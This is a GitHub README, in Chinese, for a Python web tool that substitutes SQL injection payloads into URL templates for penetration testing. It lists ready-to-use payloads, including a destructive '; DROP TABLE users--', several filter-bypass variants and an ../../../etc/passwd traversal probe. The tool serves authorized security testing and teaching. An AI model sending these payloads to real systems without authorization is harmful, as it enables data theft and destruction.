Skip to content

3436533165/SQL-injection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

SQL Keyword Tester

Python License

基于 Web 的 SQL 注入关键字测试工具 —— 使用 URL 模板 + 占位符替换,快速对任意参数进行 SQL 注入测试。

只需在 URL 中写入 {参数名},工具自动识别占位符,点击预设 payload 即可填充并发送请求。零依赖,单文件纯 Python 标准库实现。


截图

┌─────────────────────────────────────────────────────────────┐
│  🔭 SQL Keyword Tester                                      │
│  在 URL 中用 {参数名} 标记测试点                             │
├─────────────────────────────────────────────────────────────┤
│  🔍 请求                                                     │
│  [ GET ▼ ] [ http://localhost/index.php?query={test} ] [▶] │
├─────────────────────────────────────────────────────────────┤
│  🔎 测试参数(占位符)                                        │
│  ┌──────────────────────────────────────────────────────┐  │
│  │ {test}  │ [ ' OR 1=1--                    ] │ [清空] │  │
│  └──────────────────────────────────────────────────────┘  │
├─────────────────────────────────────────────────────────────┤
│  💉 Payload 预设                                            │
│  [单引号] [OR 1=1--] [UNION SELECT...] [SLEEP(5)] [...]   │
├─────────────────────────────────────────────────────────────┤
│  🔥 响应                                                    │
│  Status: 200 ✅  耗时: 674ms  大小: 322 B                   │
│  ┌──────────────────────────────────────────────────────┐  │
│  │ {"args": {"query": "' OR 1=1--"}, ... }              │  │
│  └──────────────────────────────────────────────────────┘  │
├─────────────────────────────────────────────────────────────┤
│  🕐 历史                                                    │
│  │ GET   http://httpbin.org/get?query=%27...       200  │  │
│  │ GET   http://localhost/index.php?query=1        404  │  │
└─────────────────────────────────────────────────────────────┘

快速开始

python main.py

浏览器打开 http://localhost:8888

没装 Python?下载 Python(3.8+ 即可)。

特性

  • URL 模板语法 —— 用 {参数名} 标记测试点,直观明了
  • 26 个内置 SQL 注入 Payload —— 引号、布尔盲注、Union、时间盲注、报错注入、堆叠查询、注释变体、各种绕过技巧
  • 多种请求方法 —— GET / POST / PUT / DELETE / PATCH
  • 自动 URL 编码 —— 占位符值填入 URL 时自动 encodeURIComponent,无需手动转义
  • Body 编辑器 —— POST/PUT/PATCH 自动显示,同样支持 {占位符} 替换
  • 自定义请求头 —— 自由增删 Header
  • 响应面板 —— 状态码(颜色标识)、响应时间、响应大小、响应头 + 响应体
  • 历史记录 —— 最近 50 条保存在浏览器 localStorage,点击即可回放
  • 暗色主题 —— 护眼,适合长时间测试
  • 零依赖 —— 仅使用 Python 标准库,不需要 pip install 任何东西
  • 单文件 —— 整个工具就一个 main.py,部署即拷即用

使用指南

基本用法

在 URL 输入框写入含 {占位符} 的模板,例如:

http://example.com/api/search?q={keyword}

工具会自动识别 {keyword} 并在下方显示输入框。点击任意 Payload 预设即可填入,或手动输入测试值。

示例场景

1. 基础 GET 查询注入

URL:  http://localhost/index.php?id={test}

点击 ' OR 1=1 -- → 实际发送 http://localhost/index.php?id=%27%20OR%201=1--

2. 多参数测试

URL:  http://localhost/login.php?user={username}&pass={password}
占位符 填入值
{username} admin'--
{password} ' OR '1'='1

3. POST 注入

方法选 POST,URL 和 Body 均支持占位符:

URL:  http://localhost/api/login
Body: {"user":"{user}","pass":"{pass}"}

4. 路径注入

URL:  http://localhost/{page}?debug=1

占位符 {page} 填入 admin.jsp../../../etc/passwd 等测试路径。

内置 Payload 列表

类别 Payload
基础测试 ' " \\
布尔盲注 ' OR '1'='1 ' OR 1=1 -- ' OR 1=1 # ' AND '1'='1 ' AND '1'='2
Union 注入 ' UNION SELECT NULL-- ' UNION SELECT 1,2,3-- ' UNION SELECT @@version--
时间盲注 ' AND SLEEP(5)-- ' AND pg_sleep(5)-- '; WAITFOR DELAY '00:00:05'--
报错注入 ' AND extractvalue(1,concat(0x7e,database()))-- ' AND updatexml(1,concat(0x7e,database()),1)--
堆叠查询 '; DROP TABLE users-- '; INSERT INTO users VALUES('hack','pass')--
注释变体 '-- '# '/**/OR/**/1=1
绕过技巧 ' oR 1=1--(大小写) ' UNUNIONION SELECT 1--(双写) %27%20OR%201=1--(URL 编码)
特殊字符 %00' OR 1=1--(NULL 字节) %df' OR 1=1--(宽字节)

项目结构

├── main.py       # 主程序(含后端服务 + 前端页面)
└── README.md     # 使用说明(就是本文件)

工作原理

  1. 前端页面(内嵌在 main.py 中)提供 URL 模板输入框、payload 预设网格、历史记录等交互
  2. 用户在 URL 中写入 {param} 占位符,前端自动解析并生成对应的输入槽位
  3. 用户选择 payload 填入占位符,点击发送
  4. 前端替换所有占位符、对 URL 参数做 encodeURIComponent,然后 fetch 到后端 /api/test
  5. 后端(Python http.server)用 urllib.request 代理发送请求到目标 URL
  6. 返回响应状态码、头、体和耗时给前端展示

License

MIT

免责声明

本工具仅供授权的安全测试、漏洞研究和教学使用。使用者应遵守当地法律法规,禁止用于非法攻击。作者不对任何滥用行为承担责任。

About

用于sql注入的测试服务端。

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages